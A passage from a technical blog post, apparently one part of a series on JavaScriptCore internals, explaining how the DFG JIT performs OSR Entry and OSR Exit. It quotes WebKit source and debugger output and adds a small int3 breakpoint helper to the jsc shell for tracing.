</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> maxFrameSize <span style="color:#f92672">=</span> std<span style="color:#f92672">::</span>max(frameSize, baselineFrameSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Register<span style="color:#f92672">*</span> scratch <span style="color:#f92672">=</span> bitwise_cast<span style="color:#f92672">&lt;</span>Register<span style="color:#f92672">*&gt;</span>(vm.scratchBufferForSize(<span style="color:#66d9ef">sizeof</span>(Register) <span style="color:#f92672">*</span> (<span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> CallFrame<span style="color:#f92672">::</span>headerSizeInRegisters <span style="color:#f92672">+</span> maxFrameSize))<span style="color:#f92672">-&gt;</span>dataBuffer());
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">*</span>bitwise_cast<span style="color:#f92672">&lt;</span>size_t<span style="color:#f92672">*&gt;</span>(scratch <span style="color:#f92672">+</span> <span style="color:#ae81ff">0</span>) <span style="color:#f92672">=</span> frameSize;  <span style="color:#f92672">&lt;--</span> Frame size added to buffer
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> targetPC <span style="color:#f92672">=</span> entry<span style="color:#f92672">-&gt;</span>m_machineCode.executableAddress();  <span style="color:#f92672">&lt;---</span> Memory address to optimised machine code at which to OSR Enter
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">*</span>bitwise_cast<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">void</span><span style="color:#f92672">**&gt;</span>(scratch <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">=</span> retagCodePtr(targetPC, OSREntryPtrTag, bitwise_cast<span style="color:#f92672">&lt;</span>PtrTag<span style="color:#f92672">&gt;</span>(callFrame)); <span style="color:#f92672">&lt;--</span> targetPC added to buffer
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Register<span style="color:#f92672">*</span> pivot <span style="color:#f92672">=</span> scratch <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> CallFrame<span style="color:#f92672">::</span>headerSizeInRegisters;
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> index <span style="color:#f92672">=</span> <span style="color:#f92672">-</span>CallFrame<span style="color:#f92672">::</span>headerSizeInRegisters; index <span style="color:#f92672">&lt;</span> <span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;</span>(baselineFrameSize); <span style="color:#f92672">++</span>index) { <span style="color:#f92672">&lt;--</span> Register values added to the buffer
</span></span><span style="display:flex;"><span>        VirtualRegister reg(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> <span style="color:#f92672">-</span> index);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (reg.isLocal()) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (entry<span style="color:#f92672">-&gt;</span>m_localsForcedDouble.get(reg.toLocal())) {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">*</span>bitwise_cast<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">double</span><span style="color:#f92672">*&gt;</span>(pivot <span style="color:#f92672">+</span> index) <span style="color:#f92672">=</span> callFrame<span style="color:#f92672">-&gt;</span>registers()[reg.offset()].asanUnsafeJSValue().asNumber();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (entry<span style="color:#f92672">-&gt;</span>m_localsForcedAnyInt.get(reg.toLocal())) {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">*</span>bitwise_cast<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int64_t</span><span style="color:#f92672">*&gt;</span>(pivot <span style="color:#f92672">+</span> index) <span style="color:#f92672">=</span> callFrame<span style="color:#f92672">-&gt;</span>registers()[reg.offset()].asanUnsafeJSValue().asAnyInt() <span style="color:#f92672">&lt;&lt;</span> JSValue<span style="color:#f92672">::</span>int52ShiftAmount;
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        pivot[index] <span style="color:#f92672">=</span> callFrame<span style="color:#f92672">-&gt;</span>registers()[reg.offset()].asanUnsafeJSValue();
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The value of <code>targetPC</code> in the snippet above points to the memory address of the first optimised machine code instruction for the compiled bytecode at which the engine will OSR Enter at. This address is added to the buffer along with the various <em>loc</em> values from the current call frame.</p>
<p>This is followed by shuffling temporary locals and cleaning up the call frame of values that aren&rsquo;t used by the DFG. Once the registers have been aligned in the buffer, the next step is to handle callee saves in the buffer.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// 6) Copy our callee saves to buffer.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#if NUMBER_OF_CALLEE_SAVES_REGISTERS &gt; 0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> RegisterAtOffsetList<span style="color:#f92672">*</span> registerSaveLocations <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>calleeSaveRegisters();
</span></span><span style="display:flex;"><span>    RegisterAtOffsetList<span style="color:#f92672">*</span> allCalleeSaves <span style="color:#f92672">=</span> RegisterSet<span style="color:#f92672">::</span>vmCalleeSaveRegisterOffsets();
</span></span><span style="display:flex;"><span>    RegisterSet dontSaveRegisters <span style="color:#f92672">=</span> RegisterSet(RegisterSet<span style="color:#f92672">::</span>stackRegisters(), RegisterSet<span style="color:#f92672">::</span>allFPRs());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> registerCount <span style="color:#f92672">=</span> registerSaveLocations<span style="color:#f92672">-&gt;</span>size();
</span></span><span style="display:flex;"><span>    VMEntryRecord<span style="color:#f92672">*</span> record <span style="color:#f92672">=</span> vmEntryRecord(vm.topEntryFrame);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> registerCount; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>        RegisterAtOffset currentEntry <span style="color:#f92672">=</span> registerSaveLocations<span style="color:#f92672">-&gt;</span>at(i);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (dontSaveRegisters.get(currentEntry.reg()))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>        RegisterAtOffset<span style="color:#f92672">*</span> calleeSavesEntry <span style="color:#f92672">=</span> allCalleeSaves<span style="color:#f92672">-&gt;</span>find(currentEntry.reg());
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">constexpr</span> (CallerFrameAndPC<span style="color:#f92672">::</span>sizeInRegisters <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">*</span>(bitwise_cast<span style="color:#f92672">&lt;</span>intptr_t<span style="color:#f92672">*&gt;</span>(pivot <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">-</span> currentEntry.offsetAsIndex()) <span style="color:#f92672">=</span> record<span style="color:#f92672">-&gt;</span>calleeSaveRegistersBuffer[calleeSavesEntry<span style="color:#f92672">-&gt;</span>offsetAsIndex()];
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// We need to adjust 4-bytes on 32-bits, otherwise we will clobber some parts of
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[-1] when currentEntry.offsetAsIndex() returns -1. This region contains
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// CallerFrameAndPC and if it is cloberred, we will have a corrupted stack.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// Also, we need to store callee-save registers swapped in pairs on scratch buffer,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// otherwise they will be swapped when copied to call frame during OSR Entry code.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// Here is how we would like to have the buffer configured:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[-4] = ArgumentCountIncludingThis
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[-3] = Callee
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[-2] = CodeBlock
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[-1] = CallerFrameAndReturnPC
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[0]  = csr1/csr0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// pivot[1]  = csr3/csr2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            ASSERT(<span style="color:#66d9ef">sizeof</span>(intptr_t) <span style="color:#f92672">==</span> <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>            ASSERT(CallerFrameAndPC<span style="color:#f92672">::</span>sizeInRegisters <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>            ASSERT(currentEntry.offsetAsIndex() <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">int</span> offsetAsIndex <span style="color:#f92672">=</span> currentEntry.offsetAsIndex();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">int</span> properIndex <span style="color:#f92672">=</span> offsetAsIndex <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">?</span> offsetAsIndex <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">:</span> offsetAsIndex <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">*</span>(bitwise_cast<span style="color:#f92672">&lt;</span>intptr_t<span style="color:#f92672">*&gt;</span>(pivot <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">-</span> properIndex) <span style="color:#f92672">=</span> record<span style="color:#f92672">-&gt;</span>calleeSaveRegistersBuffer[calleeSavesEntry<span style="color:#f92672">-&gt;</span>offsetAsIndex()];
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span></code></pre></div><p>Once the buffer has been successfully populated, execution returns to the calling function <code>operationOptimize</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> targetPC <span style="color:#f92672">=</span> vm.getCTIStub(DFG<span style="color:#f92672">::</span>osrEntryThunkGenerator).code().executableAddress();
</span></span><span style="display:flex;"><span>targetPC <span style="color:#f92672">=</span> retagCodePtr(targetPC, JITThunkPtrTag, bitwise_cast<span style="color:#f92672">&lt;</span>PtrTag<span style="color:#f92672">&gt;</span>(callFrame));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#a6e22e">encodeResult</span>(targetPC, dataBuffer);
</span></span></code></pre></div><p>The value of <code>targetPC</code> points to the thunk code generated by <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGThunks.cpp#L99"><code>DFG::osrEntryThunkGenerator</code></a>. This is the thunk code that will parse the <code>dataBuffer</code> generated by the function <code>prepareOSREntry</code> and transfer execution control to the optimised machine code pointed to by that buffer. When compilation succeeds and execution return to the BaselineJIT, the BaselineJIT will jump to the thunk code generated and the thunk code will in turn jump to the machine code generated for the bytecode at which OSR Entry will occur.</p>
<p>Let&rsquo;s now attempt to trace this in our debugger by optimising the function <code>jitMe</code> in the following JavaScript program and OSR entering into the optimised code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>OSR Entry occurs at <code>bc#0</code> and the optimised code generated for this CodeBlock at the bytecode boundary is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>      Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>      Predecessors:
</span></span><span style="display:flex;"><span>      Successors:
</span></span><span style="display:flex;"><span>      Dominated by: <span style="color:#960050;background-color:#1e0010">#</span>root <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>      Dominates: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>      Dominance Frontier: 
</span></span><span style="display:flex;"><span>      Iterated Dominance Frontier: 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8f7</span><span style="color:#f92672">:</span> test <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7</span>, <span style="color:#f92672">%</span>bpl  <span style="color:#f92672">&lt;--</span> Machine code of bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8fb</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfe908</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe901</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xa</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe907</span><span style="color:#f92672">:</span> int3 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe908</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xfffe000000000000</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe912</span><span style="color:#f92672">:</span> cmp <span style="color:#f92672">%</span>r11, <span style="color:#f92672">%</span>r14
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe915</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfe923</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe91b</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x82</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>          <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>In the screenshot below, the debugger is paused at the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOperations.cpp#L1884"><em>return</em> statement in <code>operationOptimize</code></a> and one can inspect the values of <code>targetPC</code> and <code>dataBuffer</code>. Examining the contents of the memory address pointed to by <code>dataBuffer</code> and notice that the second double word value listed is the memory address of the optimised code for block <code>#0</code> listed in the dump above.</p>
<p><img src="/images/jsc-part3/osr_entry_targets.png" alt="osr-entry-targets"></p>
<p>Setting a breakpoint at the memory address listed in the buffer would allow pausing execution at the start of OSR Entry into the optimised code.</p>
<h2 id="osr-exit">OSR Exit</h2>
<p>Now let&rsquo;s consider a scenario when a speculation check fails and it becomes necessary to bail out of the DFG optimised code back to the Baseline JIT or LLInt. First let&rsquo;s look at how the checks are generated from the DFG and trace execution to compile the bailout code. Consider the following JavaScript program:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Trigger OSR Exit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">jitMe</span>(<span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;b&#34;</span>)
</span></span></code></pre></div><p>The function <code>jitMe</code> has been optimised to handle integer values for <code>x</code> and <code>y</code>. Supplying non-integer values to the function would could cause the speculation checks on <code>x</code> and <code>y</code> to fail and execution would bail out of the optimised code and run in a lower tier such as the Baseline JIT or the LLInt. Let&rsquo;s now trace this bailout in our debugger. As we&rsquo;ve seen in the [Code Generation section], the OSR Exits are implemented as a thunk which is added to the linkBuffer. When a speculation check fails, execution jumps to the OSR Exit thunk which is a trampoline to the function that initiates OSR Exit by reconstructing the callframe and emitting OSR Exit code to transfer execution to a lower tier.</p>
<p>There is a useful helper function that one can add to the target that will let the reader emit breakpoints from JavaScript source which will then be trap in our debugger<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. This will help with tracing OSR Exits as they occur.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>diff <span style="color:#f92672">--</span>git a<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>jsc.cpp b<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>jsc.cpp
</span></span><span style="display:flex;"><span>index <span style="color:#ae81ff">1226f</span><span style="color:#ae81ff">84</span>b461d.<span style="color:#ae81ff">.5f456766e3</span>a8 <span style="color:#ae81ff">100644</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">---</span> a<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>jsc.cpp
</span></span><span style="display:flex;"><span><span style="color:#f92672">+++</span> b<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>jsc.cpp
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@@</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">261</span>,<span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span><span style="color:#ae81ff">261</span>,<span style="color:#ae81ff">9</span> <span style="color:#960050;background-color:#1e0010">@@</span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL functionIsHeapBigInt(JSGlobalObject<span style="color:#f92672">*</span>, CallFr
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL functionPrintStdOut(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL <span style="color:#a6e22e">functionPrintStdErr</span>(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL <span style="color:#a6e22e">functionDebug</span>(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span><span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL functionDbg(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL functionDescribe(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL <span style="color:#a6e22e">functionDescribeArray</span>(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">static</span> EncodedJSValue JSC_HOST_CALL <span style="color:#a6e22e">functionSleepSeconds</span>(JSGlobalObject<span style="color:#f92672">*</span>, CallFrame<span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@@</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">488</span>,<span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span><span style="color:#ae81ff">491</span>,<span style="color:#ae81ff">7</span> <span style="color:#960050;background-color:#1e0010">@@</span> <span style="color:#66d9ef">private</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>         addFunction(vm, <span style="color:#e6db74">&#34;debug&#34;</span>, functionDebug, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>         addFunction(vm, <span style="color:#e6db74">&#34;describe&#34;</span>, functionDescribe, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>        addFunction(vm, <span style="color:#e6db74">&#34;dbg&#34;</span>, functionDbg, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>         addFunction(vm, <span style="color:#e6db74">&#34;describeArray&#34;</span>, functionDescribeArray, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>         addFunction(vm, <span style="color:#e6db74">&#34;print&#34;</span>, functionPrintStdOut, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>         addFunction(vm, <span style="color:#e6db74">&#34;printErr&#34;</span>, functionPrintStdErr, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@@</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1277</span>,<span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span><span style="color:#ae81ff">1281</span>,<span style="color:#ae81ff">12</span> <span style="color:#960050;background-color:#1e0010">@@</span> EncodedJSValue JSC_HOST_CALL functionDebug(JSGlobalObject<span style="color:#f92672">*</span> globalObject, CallFra
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">return</span> JSValue<span style="color:#f92672">::</span>encode(jsUndefined());
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>EncodedJSValue JSC_HOST_CALL functionDbg(JSGlobalObject<span style="color:#f92672">*</span> globalObject, CallFrame<span style="color:#f92672">*</span> callFrame)
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>{
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>    <span style="color:#66d9ef">asm</span>(<span style="color:#e6db74">&#34;int3&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>    <span style="color:#66d9ef">return</span> JSValue<span style="color:#f92672">::</span>encode(jsUndefined());
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>}
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> EncodedJSValue JSC_HOST_CALL functionDescribe(JSGlobalObject<span style="color:#f92672">*</span> globalObject, CallFrame<span style="color:#f92672">*</span> callFrame)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>     VM<span style="color:#f92672">&amp;</span> vm <span style="color:#f92672">=</span> globalObject<span style="color:#f92672">-&gt;</span>vm();
</span></span></code></pre></div><p>By adding this helper function to <code>jsc</code>, one can invoke this from our test program to pause execution before our call <code>jitMe</code> that triggers the OSR Exit. The test program is updated to include a call to <code>dbg</code> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dbg</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Trigger OSR Exit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">jitMe</span>(<span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;b&#34;</span>)
